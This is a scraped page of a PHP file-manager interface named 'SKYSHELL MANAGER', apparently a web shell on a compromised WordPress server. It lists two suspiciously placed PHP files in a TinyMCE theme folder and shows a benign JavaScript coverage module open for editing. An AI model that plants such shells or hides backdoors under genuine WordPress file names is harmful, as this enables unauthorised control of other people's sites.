📁
SKYSHELL MANAGER
PHP v8.3.6
Create
Create
Path:
root
/
var
/
www
/
cstage
/
wp-includes
/
js
/
tinymce
/
themes
/
Name
Size
Perm
Actions
📁
inlite
-
0755
🗑️
🏷️
🔒
📁
modern
-
0755
🗑️
🏷️
🔒
📄
ms-files.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-activate.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: normalize.js
'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.normalizeRangeTree = exports.normalizeFunctionCov = exports.deepNormalizeScriptCov = exports.normalizeScriptCov = exports.deepNormalizeProcessCov = exports.normalizeProcessCov = void 0; const compare_1 = require("./compare"); const range_tree_1 = require("./range-tree"); /** * Normalizes a process coverage. * * Sorts the scripts alphabetically by `url`. * Reassigns script ids: the script at index `0` receives `"0"`, the script at * index `1` receives `"1"` etc. * This does not normalize the script coverages. * * @param processCov Process coverage to normalize. */ function normalizeProcessCov(processCov) { processCov.result.sort(compare_1.compareScriptCovs); for (const [scriptId, scriptCov] of processCov.result.entries()) { scriptCov.scriptId = scriptId.toString(10); } } exports.normalizeProcessCov = normalizeProcessCov; /** * Normalizes a process coverage deeply. * * Normalizes the script coverages deeply, then normalizes the process coverage * itself. * * @param processCov Process coverage to normalize. */ function deepNormalizeProcessCov(processCov) { for (const scriptCov of processCov.result) { deepNormalizeScriptCov(scriptCov); } normalizeProcessCov(processCov); } exports.deepNormalizeProcessCov = deepNormalizeProcessCov; /** * Normalizes a script coverage. * * Sorts the function by root range (pre-order sort). * This does not normalize the function coverages. * * @param scriptCov Script coverage to normalize. */ function normalizeScriptCov(scriptCov) { scriptCov.functions.sort(compare_1.compareFunctionCovs); } exports.normalizeScriptCov = normalizeScriptCov; /** * Normalizes a script coverage deeply. * * Normalizes the function coverages deeply, then normalizes the script coverage * itself. * * @param scriptCov Script coverage to normalize. */ function deepNormalizeScriptCov(scriptCov) { for (const funcCov of scriptCov.functions) { normalizeFunctionCov(funcCov); } normalizeScriptCov(scriptCov); } exports.deepNormalizeScriptCov = deepNormalizeScriptCov; /** * Normalizes a function coverage. * * Sorts the ranges (pre-order sort). * TODO: Tree-based normalization of the ranges. * * @param funcCov Function coverage to normalize. */ function normalizeFunctionCov(funcCov) { funcCov.ranges.sort(compare_1.compareRangeCovs); const tree = range_tree_1.RangeTree.fromSortedRanges(funcCov.ranges); normalizeRangeTree(tree); funcCov.ranges = tree.toRanges(); } exports.normalizeFunctionCov = normalizeFunctionCov; /** * @internal */ function normalizeRangeTree(tree) { tree.normalize(); } exports.normalizeRangeTree = normalizeRangeTree;
Save